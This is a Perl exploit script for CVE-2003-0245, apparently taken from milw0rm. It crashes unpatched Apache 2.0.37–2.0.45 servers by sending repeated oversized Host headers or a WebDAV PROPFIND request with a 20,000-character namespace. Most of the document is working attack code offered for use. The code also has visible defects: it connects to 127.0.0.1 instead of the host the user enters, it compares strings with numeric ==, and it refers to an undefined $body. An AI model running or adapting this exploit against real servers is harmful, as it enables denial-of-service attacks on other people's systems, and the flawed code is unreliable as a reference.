Apache 2.0.37 - 2.0.45 APR Exploit - CVE-2003-0245

#!/usr/bin/perl
#
# Apache 2.0.37 - 2.0.45 APR Exploit
# Written By Matthew Murphy
#
# This Perl script will successfully exploit any un-patched Apache 2.x
# servers.
#

# Base64 Encoder
#
# If you want authentication with the server via HTTP's lame Basic
# auth, put the proper string to encode BASE64 content, and use
# '%s' to represent the credentials being encoded.  For instance:
#
# base64 %s
#
# would result in:
#
# base64 userid:password
#
# If your decoder requires you to use STDIN to pass the password
# (no pun intended), set $BASE64_USE_STDIN to nonzero and do not
# use '%s' on the command-line.
$BASE64_CMD_STRING = "use_base64_encoder_here %s";

# Base64 encoder piping
#
# If your encoder requires the password to be written to STDIN,
# set this to a nonzero value.  NOTE: This requires support for
# bi-directional pipes on your OS version.
$BASE64_USE_STDIN = 0;

# Base64 encoder input handling
#
# If your encoder requires a newline after your credentials,
# set this to your newline character.
$BASE64_WRITE_NL = "";

use IO::Socket;
print STDOUT "Apache 2.0 APR Exploit\r\n";
print STDOUT "By Matthew Murphy\r\n\r\n";
print STDOUT "Enter the hostname/IP address of the server: ";
$line = <STDIN>;
$host = mychomp($line);
print STDOUT "Enter the port of the server \[80\]: ";
$line = <STDIN>;
$port = mychomp($line);
print STDOUT "Use authentication credentials for the session \[Y/N\]? ";
$line = <STDIN>;
$char = mychomp($line);
if ($char == "Y" || $char == "y") {
    print STDOUT "What username shall we use: ";
    $line = <STDIN>;
    $user = mychomp($line);
    print STDOUT "What password shall we use: ";
    $line = <STDIN>;
    $pass = mychomp($line);
    $auth = "$user:$pass";
    if ($BASE64_USE_STDIN) {
        # l33t Perl piping trix; NOTE: This is definitely
        # Alpha code! :-)
        pipe(STDOUTREAD, STDOUTWRITE);
        pipe(STDINREAD, STDINWRITE);
        open(OLDSTDIN, "&STDIN");
        open(OLDSTDOUT, ">&STDOUT");
        open(STDIN, "&STDINREAD");
        open(STDOUT, ">&STDOUTWRITE");
        close(STDINREAD);
        close(STDOUTWRITE);
        system($BASE64_CMD_STRING);
        open(STDIN, "&OLDSTDIN");
        open(STDOUT, "&>OLDSTDOUT");
        close(OLDSTDIN);
        close(OLDSTDOUT);
        print STDINWRITE $auth;
        close(STDINWRITE);
        read(STDOUTREAD, $base64, 4096); # Edit for insane passwords
        close(STDOUTREAD);
    } else {
        open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)."|");
        read(READOUTPUT, $base64, 4096); # See above
        close(READOUTPUT);
    }
    # Another hack for dealing with base64 encoders that output
    # multi-lined encoded text.  HTTP specifically calls for a
    # single line.  Note that this pattern also messes with spaces,
    # tabs, etc., but base64 doesn't use those either, so this
    # shouldn't matter.
    $base64 = join("", split(/ /, $base64));
} else {
    $base64 = undef;
}
$f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"127.0.0.1");
print STDOUT "Exploiting a proxy server \[Y/N\]? ";
$line = <STDIN>;
$char = mychomp($line);
if ($char == "Y" || $char == "y") {
    print $f "GET / HTTP/1.1\x0d\x0a";

    # Apache 2.0 tries to limit header inputs, but uses a hash table
    # that ultimately concatenates multiple headers of the same name
    # together with ", " between them, so:
    #
    # Host: a
    # Host: b
    #
    # Bypasses Apache's buffer size checks, but ends up as:
    #
    # Host: a,b
    #
    # When processed.  Confirm this with a TRACE against your server:
    #
    # TRACE / HTTP/1.1
    # Host: a
    # Host: b
    #
    # The "message/http" body you receive will contain:
    #
    # TRACE / HTTP/1.1
    # Host: a,b
    #
    # So, for those of you who are confused by this code fragment,
    # this is what it ultimately achieves!
    for ($i = 0; $i < 10; $i++) {
        print $f "Host: ".("A"x2000)."\r\n";
    }
    if (defined($base64)) {
        print $f "Proxy-Authorization: Basic ".$base64."\r\n";
    }
    print $f "\r\n";
} else {
    print STDOUT "What resource should be probed: ";
    $line = <STDIN>;
    $res = mychomp($line);
    print STDOUT "Exploit a DAV repository for this attack? \[Y/N\] ";
    $line = <STDIN>;
    $char = mychomp($line);
    if ($char == "Y" || $char == "y") {
        # WARNING:
        # Another section of alpha code here; mod_dav tends to barf
        # if given the smallest inconsistency, and this is not
        # exactly well-researched.  If this doesn't work for you,
        # target your DAV repository as a typical resource: if
        # UseCanonicalName On hasn't been set explicitly, mod_dav
        # will choke on that as well.
        #
        # STunnel should not have issues with this, as you can't
        # use a "Host" header in an SSL connection anyway, so
        # that is no problem.
        #
        # Note that if the body is too long, IIS servers will also
        # die (assuming of course, that the latest IIS cumulative
        # patch has not been applied), as they have had problems
        # dealing with WebDAV in the very recent past.

        # XML Body of Request
        #
        # If everything works, mod_dav will attempt to format a
        # message with apr_psprintf() to indicate that our
        # namespace is invalid, leading to a crash.
        $xmlbody = "<?xml version=\"1.0\"?>\r\n";
        $xmlbody.= "<D:propfind xmlns:D=\"".("A"x20000)."\:\">\r\n";
        $xmlbody.= "\x20\x20\x20\x20<D:allprop/>\r\n";
        $xmlbody.= "</D:propfind>";

        # HTTP headers
        print $f "PROPFIND $res HTTP/1.1\r\n";
        print $f "Host: $host:$port\r\n";
        print $f "Depth: 1\r\n";
        print $f "Content-Type: text/xml; charset=\"utf-8\"\r\n";
        print $f "Content-Length: ".length($body)."\r\n\r\n";
        if (defined($base64)) {
            print $f "Authorization: Basic ".$base64."\r\n";
        }
        print $f "$xmlbody\r\n\r\n";
    } else {
        # This does *almost* the exact same thing as the mod_proxy
        # code, and could be considered wasteful, but a few extra
        # CPU cycles never killed anybody. :-(
        print $f "GET $res HTTP/1.1\r\n";
        for ($i = 0; $i < 10; $i++) {
            print $f "Host: ".("A"x2000)."\r\n";
        }
        if (defined($base64)) {
            print $f "Authorization: Basic ".$base64."\r\n";
        }
        print $f "\r\n";
    }
}
while (defined($ln = <$f>)) {
    print STDOUT $ln;
}
undef $f;
exit;

# FIXED: The perl chomp() function is broken on my distro,
# so I hacked a fix to work around it.  This note applies
# to ActivePerl 5.8.x -- I haven't tried others.  This is
# another hackish fix, which seems to be the entire style
# of this code.  I'll write better toys when I have time to
# write better toys.
sub mychomp {
    my $data;
    my $arg = shift;
    my $CRLF;
    if ($^O == "MSWin32") {
        $CRLF = 1;
    } else {
        $CRLF = 0;
    }
    $data = substr($arg, 0, length($arg) - $CRLF);
    return $data;
}


# milw0rm.com [2003-06-08]